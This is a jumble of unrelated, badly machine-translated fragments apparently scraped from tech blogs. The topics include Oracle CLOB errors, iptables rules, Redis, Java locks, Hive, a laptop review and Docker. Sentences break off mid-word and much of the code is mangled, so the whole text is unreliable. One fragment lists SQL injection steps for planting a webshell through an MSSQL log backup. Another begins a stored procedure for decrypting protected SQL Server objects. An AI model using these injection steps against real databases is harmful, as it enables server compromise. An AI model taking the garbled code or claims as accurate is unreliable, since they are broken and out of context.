The analysis of CLOB type processing in the original Broken Sword ice-oraclePrevious analysis: ORA-01461: Can only bind a long value to insert a long columnMost recently, for the Clob field, when inserting data, the number of bytes in the character (one half-width character, one byte, one full-width character, two bytes) between 2000-4000 times is wrong (ORA-01461: You can only insert a Long value assignment for a long column). After constantly lookin
themore than the popular models, under the millet, Meizu, one Plus, Huawei Glory, ZTE Nubian, cool, Lenovo, step by step high -under the Yuan model, the hammer selected this price is very embarrassing, if the price line on the vertical comparison, do not want to pass the old Luo's hammer to compete with whom? Sentiment itself is a small crowd have the state of mind, the pursuit of feelings of the user, most of the price is not sensitive, they have higher spiritual pursuit, they pay more attenti
22-j ACCEPT-A output-p tcp -- sport 22-j ACCEPT3. Allow Intranet machines to log on to MSN and QQ.(MSN and QQ are not allowed to log on by default) QQ can generally log on from TCP 80, 8000, 443, UDP 8000, 4000, while MSN can log on from TCP 1863, 443. The process of logging on to MSN and QQ is like accessing the Internet. It is also a designated port for accessing the remote server. Therefore, we only need to use data forwarding.-A prerouting-p tcp
is inserted is invalid. In a single sentence, it will reduce the webshell size.Log backup is divided into seven steps of the WEBSHELL standard:
1. InjectionURL '; alter database XXX set recovery full -- (set SQL to log FULL RECOVERY mode)
2. InjectionURL '; create table cmd (a image) -- (create a cmd table)
3. InjectionURL '; backup log XXX to disk = 'C: cmd' with init -- (reduce the size of the backup data)
4. InjectionURL '; insert into cmd (a) values (' "hexadecimal characters into the table
-subscribeThe code is as follows:require(‘redis‘sub = function(c) { ‘chatchannel‘; redisclient.subscribe(c, function(e) { console.log(‘subscribe channel : ‘ + c); });}sub();redisclient.on(‘message‘, function(error, response) { console.log(response);})In addition, a REDIS-CLI subscribe is launched to compare and execute the results:node. JS launches a Httpservervarrequire(‘http‘);// var server = http.createServer().listen(4000);http.
both parties have the ability to call the other party and receive the call from the other party. This only requires adding a listening socket. Once the call connection is established successfully, a data stream is established between the two points. Even if both parties do not speak, each point continuously receives and sends data, the voice of one Party naturally passes the data stream to the other party, so the key issue is how to read the voice data stream, because the stream service provide
-- 1. Create a stored procedure
Create procedure sp_decrypt (@ objectname varchar (50) as begin set nocount on -- csdn: j9988 copyright: 2004.07.15 -- v3.2 -- crack byte is unrestricted, applicable to sqlserver2000 stored procedures, functions, views, trigger -- corrected the previous version of "view trigger" could not be correctly decrypted error -- Found error, please e_mail: CSDNj9988@tom.com begin Tran declare @ objectname1 varchar (100), @ orgvarbin varbinary (8000) declare @ sql1 nvarcha
I recently modified a paging storage process. As a newbie, I still benefited a lot from it. Now I will start my paging journey today.1. Start Restoration
Next, let's take a look at the original paging stored procedure.
Alter procedure [dbo]. [sp_ SQL _Paging]
(
@ SqlDataTable NVARCHAR (4000), -- table name
@ PrimaryKey NVARCHAR (4000), -- primary key name
@ Fields NVARCHAR (
used here to better illustrate how the comparator works.Once the interface IComparable is implemented, we can sort the salary according to Basesalary, as shown in the following code:ArrayList companysalary =NewArrayList (); Companysalary.add (NewSalary () {Name ="Mike", basesalary = the }); Companysalary.add (NewSalary () {Name ="Rose", basesalary = - }); Companysalary.add (NewSalary () {Name ="Jeffry", basesalary = + }); Companysalary.add (NewSalary () {Name ="Steve", basesalary =
; 210.15.27.140: 2000) it will be consistent with the socket of D-> C, A conflict occurs, which does not comply with the 2nd rules of iptables (Note: Here 5001 represents different ports after conversion, but in fact, iptables does not generate new ports according to the internal port + 1 principle ). In this example, we note that Nat uses different mappings from the same internal address and port A (192.168.0.4: 5000) to different destination addresses and ports, convert to different ports.The
;/** * * * @author 林计钦 * @version 1.0 201 3-7-25 am 10:33:37 */public class Locktest {public static void main (string[] args) {locktest test = new Locktes T (); Create a concurrent access account MyCount MyCount = test.new MyCount ("95599200901215522", 10000); Create a Lock object lock lock = new Reentrantlock (); Create a thread pool executorservice pool = Executors.newcachedthreadpool (); Create some concurrent access users, a credit card, save, take the take
. reentrantLock;/*** Java thread: Lock ** @ author leizhimin 2009-11-5 10:57:29 */public class Test {public static void main (String [] args) {// create an account for concurrent access MyCount myCount = new MyCount ("95599200901215522", 10000); // create a Lock Object lock Lock = new Reentrant Lock (); // create a thread pool ExecutorService pool = Executors. newCachedThreadPool (); // creates some concurrent access users, one credit card, the storage, and the retrieval. It's very interesting.
;/** * * * @author 林计钦 * @version 1.0 201 3-7-25 am 10:33:37 */public class Locktest {public static void main (string[] args) {locktest test = new Locktes T (); Create a concurrent access account MyCount MyCount = test.new MyCount ("95599200901215522", 10000); Create a Lock object lock lock = new Reentrantlock (); Create a thread pool executorservice pool = Executors.newcachedthreadpool (); Create some concurrent access users, a credit card, save, take the take
When you create a datasheet, our experience adds some Chinese annotations to the table for easy identification, and recently when testing hive, I found that adding comment when hive created the table would appear garbled, as follows:
Decompression idea:
1. View the database table character set that holds the hive metadata information; Is it because of the character set problem
mysql>showcreatetablecolumns_v2\g ***************************1.row *************************** Table:COLUMNS_V2 createt
flip its screen to the back and merge the screen part with the keyboard part, and the XPS 12 instantly becomes a 12-inch tablet. In use, we find that the device is a little bulky, but it doesn't matter when it's turned into a tablet. Even if you never use it in tablet mode, Dell XPS 12 is still a great 1,920, with its comfortable backlit keypad, a touchscreen with an X 1,080 resolution and extremely strong performance that makes it worth it.
Advantage: Even if you don't use the device often in
Redis is not running (because we have only installed the Python library, not the Redis itself), the result is that we try to use it but fail and produce an error message. Build Apps
That's it, in your system, you don't need anything from Python or requirements.txt files, and you don't need to build or run the scene to install into your system. It looks like you're setting up a python or flask environment variable, not really. The following LS should be displayed:
$ ls
Dockerfile app.py
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